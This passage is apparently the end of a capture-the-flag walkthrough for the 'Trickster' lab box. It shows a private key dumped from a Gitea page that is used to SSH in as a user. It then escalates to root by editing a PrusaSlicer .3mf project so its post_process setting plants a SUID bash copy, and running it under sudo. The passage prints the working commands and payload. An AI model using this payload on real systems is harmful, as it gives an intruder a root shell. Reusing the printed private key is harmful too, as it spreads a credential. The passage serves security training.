                -----END PUBLIC KEY-----                                                                                                                               
                ' ,                                                                                                                                                   
                'api_private_key' => '-----BEGIN PRIVATE KEY-----                                                                                                     
                MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC5IVA/fGtlxwpt                                                                                       
                L9UYoyu/x0XggmH0X02+Y9mqIU2kmcEeF9YTdhUz86sREQYrO2QcWxAZRlcUjCIF                                                                                      
                BWzmQAbmN/D6FCuXz34lEPSiBn44dR838KCYzZ6rUf+DEBh9xF/CNKU6HZjMDCku                                                                                      
                /C1hcG1Jy7pCpEB2i2iSpbabdoy34tXwRF0WwGSP785V0nyiyW9K3oqB/f0OcGkY                                                                                       
                hcCpoVxB0x2r7WVP2iJvLR7HJSSXpolTbVJMVnuQJ/RJ5ynZ/02hoqgHAL2bvTsL                                                                                      
                ZQI2QCYHYDbDF/zwEMLsK3BrPANb1Bd0X3ztFTMaP1SsRbBPBgRwlxX+E0Hjvdtz                                                                                      
                K1om9jVlAgMBAAECggEAD5CTdKL7TJVNdRyeZ/HgDcGtSFDt92PD34v5kuo14u7i                                                                                       
                Y6tRXlWBNtr3uPmbcSsPIasuUVGupJWbjpyEKV+ctOJjKkNj3uGdE3S3fJ/bINgI                                                                                      
                BeX/OpmfC3xbZSOHS5ulCWjvs1EltZIYLFEbZ6PSLHAqesvgd5cE9b9k+PEgp50Q                                                                                      
                DivaH4PxfI7IKLlcWiq2mBrYwsWHIlcaN0Ys7h0RYn7OjhrPr8V/LyJLIlapBeQV                                                                                       
                Geq6MswRO6OXfLs4Rzuw1dedDPdDZFdSaef6I2tm4Puq4kB5CzqQ8WfsMiz6zFU/                                                                                      
                UIHnnv9jrqfHGYoq9g5rQWKyjxMTlKA8PnMiKzssiQKBgQDeamSzzG6fdtSlK8zC                                                                                      
                TXHpssVQjbw9aIQYX6YaiApvsi8a6V5E8IesHqDnS+s+9vjrHew4rZ6Uy0uV9p2P                                                                                       
                MAi3gd1Gl9mBQd36Dp53AWik29cxKPdvj92ZBiygtRgTyxWHQ7E6WwxeNUWwMR/i                                                                                      
                4XoaSFyWK7v5Aoa59ECduzJm1wKBgQDVFaDVFgBS36r4fvmw4JUYAEo/u6do3Xq9                                                                                      
                JQRALrEO9mdIsBjYs9N8gte/9FAijxCIprDzFFhgUxYFSoUexyRkt7fAsFpuSRgs                                                                                       
                +Ksu4bKxkIQaa5pn2WNh1rdHq06KryC0iLbNii6eiHMyIDYKX9KpByaGDtmfrsRs                                                                                      
                uxD9umhKIwKBgECAXl/+Q36feZ/FCga3ave5TpvD3vl4HAbthkBff5dQ93Q4hYw8                                                                                      
                rTvvTf6F9900xo95CA6P21OPeYYuFRd3eK+vS7qzQvLHZValcrNUh0J4NvocxVVn                                                                                       
                RX6hWcPpgOgMl1u49+bSjM2taV5lgLfNaBnDLoamfEcEwomfGjYkGcPVAoGBAILy                                                                                      
                1rL84VgMslIiHipP6fAlBXwjQ19TdMFWRUV4LEFotdJavfo2kMpc0l/ZsYF7cAq6                                                                                      
                fdX0c9dGWCsKP8LJWRk4OgmFlx1deCjy7KhT9W/fwv9Fj08wrj2LKXk20n6x3yRz                                                                                       
                O/wWZk3wxvJQD0XS23Aav9b0u1LBoV68m1WCP+MHAoGBANwjGWnrY6TexCRzKdOQ                                                                                      
                K/cEIFYczJn7IB/zbB1SEC19vRT5ps89Z25BOu/hCVRhVg9bb5QslLSGNPlmuEpo                                                                                      
                HfSWR+q1UdaEfABY59ZsFSuhbqvC5gvRZVQ55bPLuja5mc/VvPIGT/BGY7lAdEbK                                                                                       
                6SMIa53I2hJz4IMK4vc2Ssqq                                                                                                                              
                -----END PRIVATE KEY-----                                                                                                                              
                ' ,                                                                                                                                                    
                ),                                                                                                                                                    
                );                                                                                                                                                     
             
                Reference in New Issue View Git Blame Copy Permalink
    Powered by Gitea Version: 1.22.1 Page: 158ms Template: 14ms
      English
        Bahasa Indonesia Deutsch English Español Français Italiano Latviešu Magyar nyelv Nederlands Polski Português de Portugal Português do Brasil Suomi Svenska Türkçe Čeština Ελληνικά Български Русский Українська فارسی മലയാളം 日本語 简体中文 繁體中文(台灣) 繁體中文(香港) 한국어
    Licenses API

Which we can use to have an SSH session as him, then enumerate his sudo configuration.

Looking for information about this prusaslicer binary, we find a recent RCE exploit available here: https://www.exploit-db.com/exploits/51983 where the vulnerability is explained. Basically you can add a post-process script that will be executed after the binary is run.

Copy the file /opt/PrusaSlicer/TRICKSTER.3mf to your machine and extract with 7z.

> 7z x TRICKSTER.3mf

Edit the Slic3r_PE.config file in the Metadata directory as indicated in the exploit description (find the post_process line). Add your favorite payload that you want to be executed as root when the tool is run.

; post_process = "cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash"

Also update the output_filename line because otherwise when the prusaslicer application is run an error related to this line is reported.

; output_filename_format = aaa.gcode

Zip again all the package, no compression, then rename to .3mf extension.

> zip -r -0 TRICKSTER.zip *
adding: 3D/ (stored 0%)
  adding: 3D/3dmodel.model (stored 0%)
  adding: [Content_Types].xml (stored 0%)
  adding: Metadata/ (stored 0%)
  adding: Metadata/Slic3r_PE.config (stored 0%)
  adding: Metadata/thumbnail.png (stored 0%)
  adding: Metadata/Slic3r_PE_model.config (stored 0%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (stored 0%)
 
> mv TRICKSTER.zip TRICKSTER.3mf

Transfer the resulting .3mf to the box again with scp, then run the prusaslicer application.

> sudo /opt/PrusaSlicer/prusaslicer ~/TRICKSTER.3mf -s
10 => Processing triangulated mesh
10 => Processing triangulated mesh
20 => Generating perimeters
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
30 => Preparing infill
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
45 => Making infill
10 => Processing triangulated mesh
20 => Generating perimeters
10 => Processing triangulated mesh
30 => Preparing infill
20 => Generating perimeters
45 => Making infill
30 => Preparing infill
45 => Making infill
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
 
Loose extrusions
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Collapsing overhang
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Low bed adhesion
TRICKSTER.HTB, Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to /home/adam/aaa.gcode
Slicing result exported to /home/adam/aaa.gcode

After the process finishes, verify the SUID bash binary has been created in the /var/tmp directory, then just spawn a root shell.

You are root.

Last updated